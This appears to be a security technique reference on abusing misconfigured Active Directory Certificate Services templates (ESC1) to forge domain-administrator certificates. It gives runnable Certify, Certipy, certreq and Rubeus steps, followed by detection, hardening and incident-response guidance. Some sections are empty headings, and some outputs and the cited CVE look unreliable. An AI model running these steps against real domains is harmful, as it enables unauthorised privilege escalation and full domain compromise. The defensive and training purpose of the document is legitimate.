| Attribute | Details |
|---|---|
| Technique ID | CERT-ADCS-001 |
| MITRE ATT&CK v18.1 | T1649 - Steal or Forge Authentication Certificates |
| Tactic | Credential Access, Privilege Escalation |
| Platforms | Windows AD |
| Severity | Critical |
| CVE | CVE-2021-27239 |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-10 |
| Affected Versions | Windows Server 2016, Server 2019, Server 2022, Server 2025 |
| Patched In | Mitigated through configuration hardening (no OS patch exists; requires configuration controls) |
| Author | SERVTEP – Pchelnikau Artur |
Concept: Active Directory Certificate Services (ADCS) misconfiguration enables adversaries to request and obtain authentication certificates on behalf of high-privileged accounts without proper authorization or oversight. Unlike many security flaws that require code execution, ADCS misconfiguration exploits rely solely on overly permissive enrollment settings. When a certificate template is misconfigured with insufficient access controls, an unauthenticated or low-privileged user can request a certificate specifying an arbitrary Subject Alternative Name (SAN)—effectively creating a valid authentication certificate for any domain account, including Domain Administrators. These certificates persist beyond password resets and can be used for immediate lateral movement, privilege escalation, and long-term persistence.
Attack Surface: ADCS Certification Authority servers, certificate templates stored in Active Directory, certificate enrollment permissions, and HTTP/RPC enrollment endpoints.
Business Impact: Complete domain compromise. An attacker can escalate from a low-privileged user to Domain Administrator within minutes, bypass multi-factor authentication (as certificate-based authentication circumvents MFA policies in many configurations), maintain persistence for the certificate’s validity period (often 1-5 years), and facilitate lateral movement across the entire enterprise infrastructure.
Technical Context: ADCS misconfiguration exploitation typically completes within seconds to minutes. The attack is highly reliable (near 100% success rate when vulnerable templates exist) and generates minimal detection alerts unless Certificate Services auditing is explicitly enabled. The technique is actively exploited in real-world attacks and is extensively documented in public threat research.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS 5.4.1.1 | Ensure ADCS is using strong cryptography and templates are restricted to authorized users |
| DISA STIG | WN10-AU-000150 | Certificate Services audit events must be enabled |
| CISA SCuBA | AC-02 (AD) | Account and Access Management - restrict certificate enrollment permissions |
| NIST 800-53 | AC-2, AC-3, IA-2 | Account Management, Access Enforcement, Authentication |
| GDPR | Art. 32 | Security of Processing - administrative measures for access control |
| DORA | Art. 9 | Protection and Prevention measures for critical infrastructure |
| NIS2 | Art. 21 | Cyber Risk Management Measures - identity and access controls |
| ISO 27001 | A.9.2.3 | Management of Privileged Access Rights; A.14.2.1 - Secure development policy |
| ISO 27005 | Risk Scenario: “Compromise of Administration Interface via Misconfigured Authentication” |
Supported Versions:
Tools Required:
Supported Versions: Windows Server 2016-2025
Objective: Identify ADCS infrastructure and misconfigured templates permitting privilege escalation.
Command (All Versions):
Certify.exe find /vulnerable
Expected Output:
CA Name : ca.company.local\Company-CA
Template Name : User
Validity Period : 1 Year
Renewal Period : 6 Weeks
msPKI-Certificate-Name-Flag : 0x1 (ENROLLEE_SUPPLIES_SUBJECT)
Authorized Signatures Required : 0
Client Authentication : Enabled
Permissions
Enrollment Rights : Domain Users
What This Means:
msPKI-Certificate-Name-Flag = 0x1 indicates the template allows users to supply arbitrary subjects.Authorized Signatures Required = 0 means no manual approval is needed.Domain Users enrollment rights mean any domain user can request.OpSec & Evasion:
Troubleshooting:
References & Proofs:
Objective: Obtain a valid authentication certificate for a privileged account (e.g., Domain Administrator).
Version Note: Certify syntax is consistent across Windows Server versions. However, certificate enrollment may fail on hardened CAs or those requiring Extended Protection for Authentication (EPA).
Command (All Versions):
# Request a certificate for the Domain Administrator
Certify.exe request /ca:ca.company.local\Company-CA /template:User /altname:upn:administrator@company.local
# Example output:
# [+] Action: Request a Certificate
# [+] Current user context : COMPANY\john.doe (SID: S-1-5-21-...)
# [+] Template : User
# [+] Subject Name : CN=john.doe,CN=Users,DC=company,DC=local
# [+] AltName : administrator@company.local
# [+] Certificate Authority : ca.company.local\Company-CA
# [+] CA Response : The certificate has been issued.
# [+] Request ID : 15
# [+] Certificate saved : C:\admin.cer
Expected Output:
A .cer file saved to disk containing the certificate. Verify the certificate contains the SAN:
certutil -dump admin.cer | findstr /C:"upn:administrator"
What This Means:
administrator@company.local.OpSec & Evasion:
Troubleshooting:
References & Proofs:
Objective: Export the certificate with its private key for authentication purposes.
Command (All Versions):
# Certify.exe downloads the certificate immediately; you may need to convert the .cer to .pfx
# If Certify doesn't provide the private key, extract it from the Certificate Store:
# 1. Import the certificate into the local store
certutil -addstore My admin.cer
# 2. Export as .pfx with private key (password-protected for safety)
# Open Certificate Manager (certmgr.msc), find the certificate, right-click → Export as .PFX with private key
# OR use PowerShell:
$cert = Get-ChildItem Cert:\CurrentUser\My | Where-Object {$_.Subject -match "administrator"}
$password = ConvertTo-SecureString -String "password123" -AsPlainText -Force
Export-PfxCertificate -Cert $cert -FilePath C:\admin.pfx -Password $password
Expected Output:
A .pfx file containing both the certificate and private key, usable for authentication across the domain.
What This Means:
OpSec & Evasion:
References & Proofs:
Objective: Use the certificate to obtain a Kerberos Ticket-Granting Ticket (TGT) or perform lateral movement.
Command (Server 2016-2019):
# Use Rubeus to request a TGT with the certificate (PKINIT)
Rubeus.exe asktgt /user:administrator /certificate:C:\admin.pfx /password:password123
# Output:
# [+] Requesting TGT using PKINIT
# [+] User: administrator
# [+] Result: TGT successfully obtained
# [+] Ticket: [base64-encoded ticket]
Command (Server 2022+):
# Rubeus syntax remains the same for modern Windows versions
# However, if PKINIT is disabled on the DC, use alternative authentication:
Rubeus.exe asktgt /user:administrator@company.local /certificate:C:\admin.pfx /password:password123 /domain:company.local /dc:dc.company.local
Expected Output: A Kerberos TGT stored in memory, usable for Kerberos authentication. The attacker can then:
What This Means:
OpSec & Evasion:
References & Proofs:
Supported Versions: Windows Server 2016-2025 (run from Linux/attacker machine)
Objective: Perform ADCS reconnaissance from a non-Windows platform.
Command (All Versions):
certipy find -u john.doe@company.local -p 'password' -dc-ip 192.168.1.10 -stdout | grep -A 20 "Vulnerable"
Expected Output:
CA Name : ca.company.local\Company-CA
Template Name : User
Enroll Permissions : Domain Users
msPKI-Certificate-Name-Flag : 0x1
Authorized Signatures : 0
Status : VULNERABLE (ESC1)
What This Means:
OpSec & Evasion:
References & Proofs:
Objective: Obtain a certificate with arbitrary SAN for privilege escalation.
Command (Certipy v5.0.0+):
certipy req -u john.doe@company.local -p 'password' -ca ca.company.local\\Company-CA \
-template User -upn administrator@company.local -dc-ip 192.168.1.10 \
-out admin
Expected Output:
[*] Requesting certificate for User template
[+] Successfully requested certificate
[+] Certificate saved to admin.pfx
[+] Private key saved to admin.key
What This Means:
OpSec & Evasion:
References & Proofs:
Objective: Use the obtained certificate to authenticate to Active Directory.
Command (All Versions):
certipy auth -pfx admin.pfx -dc-ip 192.168.1.10 -user administrator -domain company.local
Expected Output:
[+] Successfully authenticated with certificate
[+] Kerberos TGT obtained
[+] Session saved for lateral movement
What This Means:
References & Proofs:
Supported Versions: Windows Server 2016-2025
Objective: Manually craft a certificate request with arbitrary SAN.
Command (All Versions):
# Create request file: request.inf
notepad request.inf
Content of request.inf:
[Version]
Signature = "$Windows NT$"
[NewRequest]
Subject = "CN=john.doe,CN=Users,DC=company,DC=local"
KeySpec = 1
KeyLength = 2048
Exportable = TRUE
MachineKeySet = TRUE
UseExistingKeySet = FALSE
ProviderName = "Microsoft RSA SChannel Cryptographic Provider"
ProviderType = 12
[Extensions]
%szOID_SUBJECT_ALT_NAME2% = "{text}upn=administrator@company.local&"
%szOID_ENHANCED_KEY_USAGE% = "{text}1.3.6.1.5.5.7.3.2"
What This Means:
%szOID_SUBJECT_ALT_NAME2% sets the SAN to the administrator’s UPN.%szOID_ENHANCED_KEY_USAGE% = 1.3.6.1.5.5.7.3.2 enables client authentication.OpSec & Evasion:
Command (All Versions):
certreq -new request.inf request.req
certreq -submit -attrib "CertificateTemplate:User" -config ca.company.local\Company-CA request.req request.cer
Expected Output:
CertReq: Request ID: 16
CertReq: Certificate retrieved(Issued)
What This Means:
References & Proofs:
Disk Artifacts:
.cer, .pfx, .key files in temp directories (C:\Windows\Temp, %TEMP%, Desktop).Memory Artifacts:
Cloud/Registry Artifacts:
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Crypto.1. Restrict Certificate Template Enrollment Permissions
Limit enrollment rights to specific, trusted security groups (not Domain Users).
Manual Steps (Server 2016-2019):
Manual Steps (Server 2022+):
Manual Steps (PowerShell - All Versions):
# Remove Domain Users enrollment permission from a template
$TemplateName = "User"
$TemplateGUID = (Get-ADObject -Filter {Name -eq $TemplateName} -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=company,DC=local" | Select-Object ObjectGUID).ObjectGUID
$TemplateAclPath = "AD:\CN=$TemplateName,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=company,DC=local"
$ACL = Get-Acl $TemplateAclPath
# Remove Domain Users (S-1-5-21-...-513)
$DomainUsersAccount = (Get-ADGroup -Filter {SamAccountName -eq "Domain Users"}).SID
$ACL.RemoveAccessRule((New-Object System.DirectoryServices.ActiveDirectoryAccessRule $DomainUsersAccount, "CreateChild,DeleteChild,Self,WriteProperty", "Allow", "All"))
Set-Acl -Path $TemplateAclPath -AclObject $ACL
2. Disable User-Defined Subject Alternative Names (SANs)
Prevent templates from allowing arbitrary SAN specification.
Manual Steps (Server 2016-2019):
Manual Steps (PowerShell - All Versions):
# Disable ENROLLEE_SUPPLIES_SUBJECT flag
$TemplateAclPath = "AD:\CN=User,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=company,DC=local"
$Template = Get-ADObject $TemplateAclPath -Properties msPKI-Certificate-Name-Flag
# Set flag to 0 (disable user-defined subject)
Set-ADObject $TemplateAclPath -Replace @{"msPKI-Certificate-Name-Flag" = 0}
3. Require Manager Approval
Enforce manual approval before certificate issuance.
Manual Steps (Server 2016-2019):
Manual Steps (PowerShell - All Versions):
# Enable manager approval requirement
$TemplatePath = "AD:\CN=User,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=company,DC=local"
Set-ADObject $TemplatePath -Replace @{"msPKI-Enrollment-Flag" = 2} # Bit 1 = Require manager approval
1. Disable HTTP Certificate Enrollment (ESC8 Prevention)
Disable legacy HTTP-based enrollment interfaces.
Manual Steps (Server 2016-2019):
Manual Steps (PowerShell - All Versions):
# Disable HTTP enrollment endpoint
Remove-WebSite -Name "CertSrv-HTTP" -ErrorAction SilentlyContinue
# Keep HTTPS enabled with EPA
2. Disable Older Enrollment Interfaces (RPC)
Remove deprecated RPC-based enrollment (if not needed).
Manual Steps (Server 2016-2019):
3. Implement Conditional Access Policies in Hybrid Environments
For Entra ID-joined devices requesting certificates:
Manual Steps (Azure Portal):
Block-ADCS-Cert-Abuse.Command (All Versions):
# Check that Domain Users is no longer enrolled on vulnerable templates
Get-ADObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=company,DC=local" -Filter {Name -eq "User"} -Properties nTSecurityDescriptor |
ForEach-Object {
$ACL = (Get-ACL "AD:\$($_.DistinguishedName)").Access |
Where-Object {$_.IdentityReference -match "Domain Users"}
if ($ACL) {
Write-Host "WARNING: Domain Users still has enrollment rights on User template!"
} else {
Write-Host "OK: Domain Users removed from User template"
}
}
# Verify ENROLLEE_SUPPLIES_SUBJECT is disabled
Get-ADObject -Filter {Name -eq "User"} -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=company,DC=local" -Properties msPKI-Certificate-Name-Flag |
Select-Object Name, "msPKI-Certificate-Name-Flag"
Expected Output (If Secure):
OK: Domain Users removed from User template
Name msPKI-Certificate-Name-Flag
---- -------------------------
User 0
What to Look For:
msPKI-Certificate-Name-Flag = 0: User cannot specify arbitrary subjects.Files:
.pfx, .cer, .key files in temp directories (C:\Windows\Temp, %TEMP%, Desktop, Downloads)..inf, .req).Registry:
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Crypto\Providers.Network:
CN=Certificate Templates,CN=Public Key Services from unexpected systems..../certfnsh.asp, .../certclinst.asp) with anomalous requester/subject discrepancies.Event Logs to Collect:
Memory Artifacts:
File System Artifacts:
1. Isolate:
# Immediately disable the compromised user account
Disable-ADAccount -Identity john.doe
# Disable the impersonated account (if not critical)
Disable-ADAccount -Identity administrator
2. Collect Evidence:
# Export Security Event Log
wevtutil epl Security C:\Evidence\Security.evtx
# Export CA logs
wevtutil epl "Active Directory Certificate Services" C:\Evidence\ADCS.evtx
# Capture certificate store
Get-ChildItem Cert:\CurrentUser\My | Export-Certificate -FilePath C:\Evidence\CertStore_$env:COMPUTERNAME.cer -Force
3. Remediate:
a. Revoke the Forged Certificate:
1. On the CA server, open Certification Authority (certsrv.msc).
2. Click "Issued Certificates".
3. Right-click the suspicious certificate (UPN: administrator, Requester: john.doe) → All Tasks → Revoke Certificate.
4. Select reason: "Compromise of Private Key" or "Certificate Hold".
5. Click Yes.
6. Right-click "Revoked Certificates" → All Tasks → Publish (to update CRL immediately).
b. Reset Compromised Accounts: ```powershell # Force password reset for affected accounts Set-ADAccountPassword -Identity john.doe -Reset -NewPassword (ConvertTo-SecureString -String “ComplexNewPassword123!” -AsPlainText -Force) Set-ADUser -Identity john.doe -ChangePasswordAtLogon $true
# Reset domain admin password
Set-ADAccountPassword -Identity administrator -Reset -NewPassword (ConvertTo-SecureString -String "ComplexNewAdminPassword123!" -AsPlainText -Force)
```
c. Purge Kerberos Tickets:
cmd
klist purge # On affected user's workstation
klist purge -li 0x3e7 # System-wide
d. Restart Domain Controller:
powershell
Restart-Computer -ComputerName dc.company.local -Force
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Reconnaissance | [REC-CERT-001] ADCS Enumeration | Enumerate CA infrastructure and template configurations using Certify/Certipy. |
| 2 | Initial Access | [IA-VALID-001] Valid Account Access | Compromise low-privileged domain account via phishing, spray, or default credentials. |
| 3 | Credential Access | [CERT-ADCS-001] | Request forged certificate with arbitrary SAN for privileged account. |
| 4 | Privilege Escalation | [PE-TOKEN-001] Kerberos TGT via PKINIT | Use certificate to obtain TGT for impersonated account. |
| 5 | Lateral Movement | [LM-AUTH-001] Pass-the-Ticket | Use TGT to access domain resources as domain admin. |
| 6 | Persistence | [PE-ACCTMGMT-014] Global Admin Backdoor | Create additional backdoor accounts or modify admin group memberships. |
| 7 | Impact | [IM-EXFIL-001] Data Exfiltration | Extract sensitive data from domain or cloud resources. |